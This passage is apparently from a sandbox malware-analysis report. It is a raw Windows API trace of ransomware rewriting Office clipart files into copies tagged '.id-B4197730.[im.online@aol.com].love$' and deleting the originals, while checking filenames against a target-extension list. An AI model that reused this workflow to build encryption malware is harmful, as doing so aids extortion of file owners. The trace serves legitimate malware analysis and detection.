(lpString=".jpg") returned 4 [0279.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0279.086] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0279.086] lstrlenW (lpString="J0105526.WMF") returned 12 [0279.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0279.088] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=17332) returned 1 [0279.088] CloseHandle (hObject=0x534) returned 1 [0279.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 0x220 [0279.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0279.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0279.089] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.089] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428 [0279.091] GetLastError () returned 0x0 [0279.091] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x43b4, lpOverlapped=0x0) returned 1 [0280.481] WriteFile (in: hFile=0x428, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x43c0, lpOverlapped=0x0) returned 1 [0280.482] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.482] WriteFile (in: hFile=0x428, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.483] SetEndOfFile (hFile=0x428) returned 1 [0280.483] CloseHandle (hObject=0x428) returned 1 [0280.483] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.483] SetEndOfFile (hFile=0x534) returned 1 [0280.486] CloseHandle (hObject=0x534) returned 1 [0280.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0280.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0280.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.488] lstrlenW (lpString=".doc") returned 4 [0280.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.488] lstrlenW (lpString=".docx") returned 5 [0280.488] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0280.488] lstrlenW (lpString=".pdf") returned 4 [0280.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString=".xls") returned 4 [0280.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.489] lstrlenW (lpString=".xlsx") returned 5 [0280.489] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0280.489] lstrlenW (lpString=".ppt") returned 4 [0280.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString=".zip") returned 4 [0280.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.489] lstrlenW (lpString=".rar") returned 4 [0280.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString=".bz2") returned 4 [0280.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString=".7z") returned 3 [0280.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString=".dbf") returned 4 [0280.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString=".1cd") returned 4 [0280.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString=".jpg") returned 4 [0280.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.489] lstrlenW (lpString=".doc") returned 4 [0280.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString=".docx") returned 5 [0280.490] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0280.490] lstrlenW (lpString=".pdf") returned 4 [0280.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString=".xls") returned 4 [0280.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.490] lstrlenW (lpString=".xlsx") returned 5 [0280.490] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0280.490] lstrlenW (lpString=".ppt") returned 4 [0280.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.490] lstrlenW (lpString=".zip") returned 4 [0280.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.490] lstrlenW (lpString=".rar") returned 4 [0280.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString=".bz2") returned 4 [0280.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString=".7z") returned 3 [0280.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.490] lstrlenW (lpString=".dbf") returned 4 [0280.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.490] lstrlenW (lpString=".1cd") returned 4 [0280.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68 [0280.490] lstrlenW (lpString=".jpg") returned 4 [0280.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.491] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0280.491] lstrlenW (lpString="J0105600.WMF") returned 12 [0280.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0280.996] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=8680) returned 1 [0280.996] CloseHandle (hObject=0x57c) returned 1 [0280.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0280.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0280.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0280.997] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.997] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0280.999] GetLastError () returned 0x0 [0280.999] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x21e8, lpOverlapped=0x0) returned 1 [0281.133] WriteFile (in: hFile=0x304, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x21f0, lpOverlapped=0x0) returned 1 [0281.134] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.134] WriteFile (in: hFile=0x304, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.135] SetEndOfFile (hFile=0x304) returned 1 [0281.135] CloseHandle (hObject=0x304) returned 1 [0281.135] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.135] SetEndOfFile (hFile=0x57c) returned 1 [0281.138] CloseHandle (hObject=0x57c) returned 1 [0281.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0281.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.140] lstrlenW (lpString=".doc") returned 4 [0281.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.140] lstrlenW (lpString=".docx") returned 5 [0281.140] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.140] lstrlenW (lpString=".pdf") returned 4 [0281.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.140] lstrlenW (lpString=".xls") returned 4 [0281.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.140] lstrlenW (lpString=".xlsx") returned 5 [0281.140] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.140] lstrlenW (lpString=".ppt") returned 4 [0281.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.140] lstrlenW (lpString=".zip") returned 4 [0281.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.140] lstrlenW (lpString=".rar") returned 4 [0281.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.140] lstrlenW (lpString=".bz2") returned 4 [0281.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.140] lstrlenW (lpString=".7z") returned 3 [0281.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.140] lstrlenW (lpString=".dbf") returned 4 [0281.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.141] lstrlenW (lpString=".1cd") returned 4 [0281.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.141] lstrlenW (lpString=".jpg") returned 4 [0281.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.141] lstrlenW (lpString=".doc") returned 4 [0281.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString=".docx") returned 5 [0281.141] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.141] lstrlenW (lpString=".pdf") returned 4 [0281.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString=".xls") returned 4 [0281.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.141] lstrlenW (lpString=".xlsx") returned 5 [0281.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.141] lstrlenW (lpString=".ppt") returned 4 [0281.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.141] lstrlenW (lpString=".zip") returned 4 [0281.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.142] lstrlenW (lpString=".rar") returned 4 [0281.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.142] lstrlenW (lpString=".bz2") returned 4 [0281.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.142] lstrlenW (lpString=".7z") returned 3 [0281.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.142] lstrlenW (lpString=".dbf") returned 4 [0281.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.142] lstrlenW (lpString=".1cd") returned 4 [0281.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0281.142] lstrlenW (lpString=".jpg") returned 4 [0281.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.142] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.142] lstrlenW (lpString="J0106020.WMF") returned 12 [0281.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0281.144] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=10060) returned 1 [0281.144] CloseHandle (hObject=0x57c) returned 1 [0281.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0281.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0281.145] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.145] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0281.146] GetLastError () returned 0x0 [0281.146] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x274c, lpOverlapped=0x0) returned 1 [0281.212] WriteFile (in: hFile=0x304, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2750, lpOverlapped=0x0) returned 1 [0281.213] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.213] WriteFile (in: hFile=0x304, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.213] SetEndOfFile (hFile=0x304) returned 1 [0281.230] CloseHandle (hObject=0x304) returned 1 [0281.233] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.233] SetEndOfFile (hFile=0x57c) returned 1 [0281.286] CloseHandle (hObject=0x57c) returned 1 [0281.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0281.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.288] lstrlenW (lpString=".doc") returned 4 [0281.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.288] lstrlenW (lpString=".docx") returned 5 [0281.288] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.288] lstrlenW (lpString=".pdf") returned 4 [0281.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.288] lstrlenW (lpString=".xls") returned 4 [0281.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.288] lstrlenW (lpString=".xlsx") returned 5 [0281.289] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.289] lstrlenW (lpString=".ppt") returned 4 [0281.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString=".zip") returned 4 [0281.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.289] lstrlenW (lpString=".rar") returned 4 [0281.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString=".bz2") returned 4 [0281.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString=".7z") returned 3 [0281.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString=".dbf") returned 4 [0281.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString=".1cd") returned 4 [0281.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString=".jpg") returned 4 [0281.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.289] lstrlenW (lpString=".doc") returned 4 [0281.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.289] lstrlenW (lpString=".docx") returned 5 [0281.289] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0281.289] lstrlenW (lpString=".pdf") returned 4 [0281.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString=".xls") returned 4 [0281.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.290] lstrlenW (lpString=".xlsx") returned 5 [0281.290] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0281.290] lstrlenW (lpString=".ppt") returned 4 [0281.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.290] lstrlenW (lpString=".zip") returned 4 [0281.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.290] lstrlenW (lpString=".rar") returned 4 [0281.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString=".bz2") returned 4 [0281.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString=".7z") returned 3 [0281.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.290] lstrlenW (lpString=".dbf") returned 4 [0281.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.290] lstrlenW (lpString=".1cd") returned 4 [0281.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68 [0281.290] lstrlenW (lpString=".jpg") returned 4 [0281.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.290] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.290] lstrlenW (lpString="J0106208.WMF") returned 12 [0281.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0281.304] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=11900) returned 1 [0281.305] CloseHandle 